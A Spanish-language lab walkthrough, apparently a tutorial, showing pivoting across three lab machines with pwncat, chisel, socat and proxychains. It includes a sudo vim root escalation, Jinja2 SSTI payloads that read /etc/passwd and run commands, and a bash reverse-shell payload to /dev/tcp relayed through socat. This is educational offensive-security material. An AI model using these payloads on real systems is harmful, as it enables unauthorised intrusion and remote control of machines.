Mediante el comando sessions en la CLI de pwncat vemos que el usuario es oscar, en la maquina victima, usando el comando id vemos como no estamos en el grupo sudo por lo cual no podemos volverlos root usando el comando sudo su, pero si podemos usar el comandos como sudo -l para ver si tenemos permisos especiales:

Y efectivamente podemos ver como oscar puede ejecutar vim como root sin proporcionar contraseña, podemos usar herramientas como searchbins:

Con -b especificamos el binario que en este caso es vim, la salida nos muestra una lista de formas en la que nos podemos aprovechar del binario dependiendo de la situación que tenemos, en nuestro caso la opción a usar es sudo ya que lo encontramos mediante el comando sudo -l se lo especificamos con el parámetro -f:

searchbins -b vim -f sudo

Ahora si nos dice como aprovecharnos de esos permisos, en nuestro caso usaremos el primero:

sudo vim -c ':!/bin/sh'

Recomendable usar bash en ves de sh -> sudo vim -c ':!/bin/bash', más adelante lo cambio pero no lo muestro.

Ejecutamos el comando y vemos como nos convertimos en root, podemos usar el comando sessions y vemos como pwncat actualiza el usuario al cual ahora migramos, ahora si procedamos a vulnerar la ultima maquina.

Primero debemos tener en cuenta que nosotros no vemos la maquina3, pero esto lo podemos solucionar con chisel, pero la maquina2 no nos puede ver, esto lo podemos solucionar con socat, ¿De qué manera?, simplemente debemos ir a la maquina1 y redireccionar un puerto de esa maquina a nuestra maquina, de tal forma que si la maquina2 se conecta con la maquina1 en ese puerto, en realidad se conecta con nuestra maquina atacante, veamos los pasos siguientes:

• Primero ejecutemos en este caso con php un servidor rápidamente donde se encuentra el binario de socat:

php -S 0.0.0.0:80

Resultado

[Thu Feb 13 09:37:43 2025] PHP 8.3.15 Development Server (http://0.0.0.0:80) started

• En la maquina1 nos descargamos ese binario en /tmp y le damos permiso de ejecución, en este caso usaremos curl:

curl 10.10.10.1/socat -o socat

Lo que hacemos aquí es cambiar a la sesión 0 de pwncat, que es la Reverse Shell de la maquina1, acedemos a ella, descargamos el binario con curl y por ultimo le damos permisos de ejecución.

• Ahora debemos ejecutar el siguiente comando en la maquina1:

./socat tcp-l:221,fork,reuseaddr tcp:10.10.10.1:33 2>/dev/null & disown

Donde el puerto 221, es el puerto que se pondrá en escucha en la maquina1, la IP donde redirige el trafico que pase por ese puerto es la 10.10.10.1 -> (Nuestra maquina atacante) y por ultimo lo envía al puerto 33, donde tenemos nuestro chisel en modo servidor.

• Lo siguiente es ejecutar chisel en modo cliente dentro de la maquina2, pero la maquina2, no cuenta con chisel, pues podemos usar el modulo upload de pwncat:

Lo que hicimos fue cambiarnos a la sesión 1 de pwncat en la cual tenemos conexión mediante ssh a la maquin2, luego nos dirigimos a /tmp, salimos y con el modulo upload, subimos a la maquina victima los binarios de chisel y socat, el siguiente paso es conectar la maquina2 a nuestra maquina atacante:

Comandos utilizados

chmod 755 chisel && chmod 755 socat

Damos permiso de ejecución a los binarios chisel y socat.

./chisel client 20.20.20.3:221 R:1081:socks 2>/dev/null & disown

Este comando se conecta a la IP 20.20.20.3 que es el nodo más cercano -> maquina1 en el puerto 221 pero en la maquina1, lo que pase por ese puerto lo redirige a la nuestra maquina atacante el el puerto 33, donde se encuentra chisel en modo servidor.

Algo más a tener en cuenta es que, por defecto chisel se conecta o utiliza el puerto 1080 para el proxy, pero este puerto ya esta en uso por la maquina1, por lo cual le especificamos el puerto 1081 en esta parte -> R:1081:socks.

Resultados en la maquina atacante

En la imagen vemos como se conecta un nuevo cliente al puerto 1081, ahora podemos usarlo con proxychains, debemos configurarlo de la siguiente manera:

• Debemos tener en cuenta lo siguiente en nuestra configuración:

# Proxychains
-> dynamic_chain  - Descomentado
-> strict_chain   - Comentado

En el archivo de conf que pase anteriormente ya esta editado de forma correcta.

• Agregamos el proxy encima del que ya esta, de tal modo que cada nueva victima se ira acumulando uno en cima del otro, en caso de que tuviéramos que seguir pivotando.

socks5    127.0.0.1     1081
socks5    127.0.0.1     1080

Ahora el siguiente paso es enumerar la maquina3, como ya abrimos pwncat con proxychains, podemos ejecutar nmap desde la CLI de pwncat usando el modulo local:

local nmap -F --open -T5 -v -n 30.30.30.2 -sT -Pn 2>&1 | grep -vE "timeout|OK"

Resultado

[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 10:46 EST
Initiating Connect Scan at 10:46
Scanning 30.30.30.2 [100 ports]
Discovered open port 8080/tcp on 30.30.30.2
Discovered open port 3306/tcp on 30.30.30.2
Discovered open port 21/tcp on 30.30.30.2
Completed Connect Scan at 10:47, 16.64s elapsed (100 total ports)
Nmap scan report for 30.30.30.2
Host is up (0.17s latency).
Not shown: 97 closed tcp ports (conn-refused)
PORT     STATE SERVICE
21/tcp   open  ftp
3306/tcp open  mysql
8080/tcp open  http-proxy

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 16.67 seconds

Vemos 3 puertos abierto, en caso de que queramos escanear los 65535 puertos, podemos usar la siguiente técnica:

local seq 1 65535 | xargs -P 300 -I {} proxychains nmap -sT -Pn -p {} --open -T5 -v -n 30.30.30.2 2>&1 | grep "tcp open"

Aunque parezca que valla lento en realidad va más rápido que si lo hubiéramos echo con nmap -p- --open ya que aquí trabajamos con hilos de manera diferente a como lo aria nmap

Demanda más recursos en la maquina atacante.

Ahora bien, 3 puertos abiertos veamos que corre cada puerto:

local nmap -sT -Pn -sCV -p 21,3306,8080 30.30.30.2 2>&1 | grep -v proxychains

Resultado

[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-13 10:55 EST
Nmap scan report for 30.30.30.2
Host is up (0.28s latency).

PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:30.30.30.3
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
3306/tcp open  mysql   MariaDB 5.5.5-10.11.6
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.11.6-MariaDB-0+deb12u1
|   Thread ID: 37
|   Capabilities flags: 63486
|   Some Capabilities: DontAllowDatabaseTableColumn, Support41Auth, Speaks41ProtocolOld, ODBCClient, LongColumnFlag, SupportsLoadDataLocal, SupportsTransactions, IgnoreSpaceBeforeParenthesis, FoundRows, InteractiveClient, Speaks41ProtocolNew, IgnoreSigpipes, SupportsCompression, ConnectWithDatabase, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: On[\=\7>q>"-[deL0FQE
|_  Auth Plugin Name: mysql_native_password
8080/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.11.2)
|_http-server-header: Werkzeug/3.1.3 Python/3.11.2
|_http-title: M\xC3\xA1quina 3
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.62 seconds

• Puerto 21 -> ftp: nmap usando el script ftp-anon nos indica que el usuario anonymous se encuentra habilitado:

ftp-anon: Anonymous FTP login allowed (FTP code 230)

Podemos conectarnos de la siguiente manera:

Usuario -> anonymous Password -> Sin contraseña

Vemos que nos devuelve -> 230 Login successful., pero si ejecutamos comandos como los siguientes:

Nos da error 500, para solucionar esto debemos utilizar el siguiente comando:

passive

Pero no vemos que aya nada en ftp, como tal si queremos descargarnos algo lo idea en ejecutar binary y luego lo que queramos descargar -> get <archivo>.

• Puerto 3306 -> mysql: Este puerto corre MariaDB 5.5.5-10.11.6, pero sin las credenciales solo podríamos hacer ataques de fuerza bruta, aunque el solo echo de estar expuesto es una vulnerabilidad, ademas de que puedan pensar que al estar aislado en una red interna de la empereza estaría segura, pues podemos llegar a ella usando pivoting.

• Puerto 8080 -> http: En este puerto vemos una web montada con Werkzeug httpd 3.1.3 (Python 3.11.2), vallamos a ver que hay en la web, no sin antes configurar en FoxyProxy un nuevo proxy tipo socks para la maquina3, solo cambiamos el puerto a 1081.

Podemos ver una entrada de texto, probemos test:

Esta es la salida, como podemos nos muestra lo que escribimos en la web, pero en la dirección URL nos dan la pista de que estamos frente a un SSTI (Server-Side Template Injection), podemos probar ingresando lo siguiente:

{{ 7 * 7 }}

Resultado

Pues, efectivamente estamos frente a un SSTI ya que nos resolvió la operatoria, posiblemente use jinja2.

Podemos usar la siguiente plantilla para ver que cositas podemos usar:

{{ self.__init__.__globals__.__builtins__ }}

La web nos mostrara muchísima información, por lo cual es muy probable que podamos usar cualquier función, podemos usar open desde el diccionario de built-ins para leer archivos directamente:

{{ self.__init__.__globals__.__builtins__.open('/etc/passwd').read() }}

Resultado

Y efectivamente podemos ver información del /etc/passwd, ahora para ejecutar comandos en el sistema directamente (como ls /), podemos intentar usar Popen para ejecutar el comando en el shell y leer la salida:

{{ self.__init__.__globals__.__builtins__.__import__('subprocess').Popen('ls /', shell=True, stdout=-1).stdout.read() }}

Vemos que nos lista los directorios pero no se ve tan bien, no importa ya podemos ejecutar comandos de forma remota, por lo cual ahora el siguiente paso es obtener una Reverse Shell:

Lo primero que vamos a hacer, es ponernos en escucha por ejemplo en el puerto 332 dentro de pwncat:

listen --platform linux 332

Claro la maquina3 no nos puede ver, pero la maquina1 si, vallamos a esta maquina y procedamos a ponerla en escucha y que envié el trafico hacia nosotros:

./socat tcp-l:332,fork,reuseaddr tcp:10.10.10.1:332 2>/dev/null & disown   

Todo lo que pase por el puerto 332 de la maquina1 sera enviado a nuestra maquina, ahora vallamos a la maquina2 que tiene conexión con la maquina1 y hagamos lo mismo:

./socat tcp-l:332,fork,reuseaddr tcp:20.20.20.3:332 2>/dev/null & disown

Ahora todo lo que pase por la maquina2 en el puerto 332 sera enviado a la maquina1 a ese mismo puerto, por ultimo solo nos queda enviar la Reverse Shell y el payload seria el siguiente:

{{ self.__init__.__globals__.__builtins__.__import__('subprocess').Popen('bash -c "bash -i > /dev/tcp/30.30.30.3/332 0<&1 2>&1"', shell=True) }}

Resultado

Y en nuestra maquina atacante veríamos lo siguiente:

Una Reverse Shell que llega por parte de la maquina1 pero que en realidad por el puerto sabemos que es de la maquina2 que a su vez es la Reverse Shell de la maquina3, en la siguiente imagen podemos ver más claramente esto:

Como podemos ver aunque dice cuando usamos el comando sessions --list, que la IP de la victima es la 10.10.10.2 en realidad si enumeramos con el modulo de pwncat, vemos que la IP de la maquina victima es la 30.30.30.2, ahora como punto final podemos ver los diferentes procesos que están corriendo en cada maquina:

• maquina1

Podemos ver los procesos que dejamos corriendo con chisel y socat, ademas de otros procesos como el de php que ya venia en la maquina como vulnerabilidad pre configurada.

• maquina2

En la maquina2 también podemos ver todos los procesos que dejamos corriendo: el apache2 que esta desplegado, también podemos ver las conexiones que se genero por ssh y la escalada usando vim, etc.

• maquina3

Como en las maquinas anteriores también podemos ver todos sus procesos, y la Reverse Shell que dejamos corriendo.

Con esto hemos culminado esta demostración de pivoting, si requiere más información sobre pivoting o preguntas adicionales, pueden contactarse con migo mediante mis redes sociales.

• Deteniendo el Laboratorio: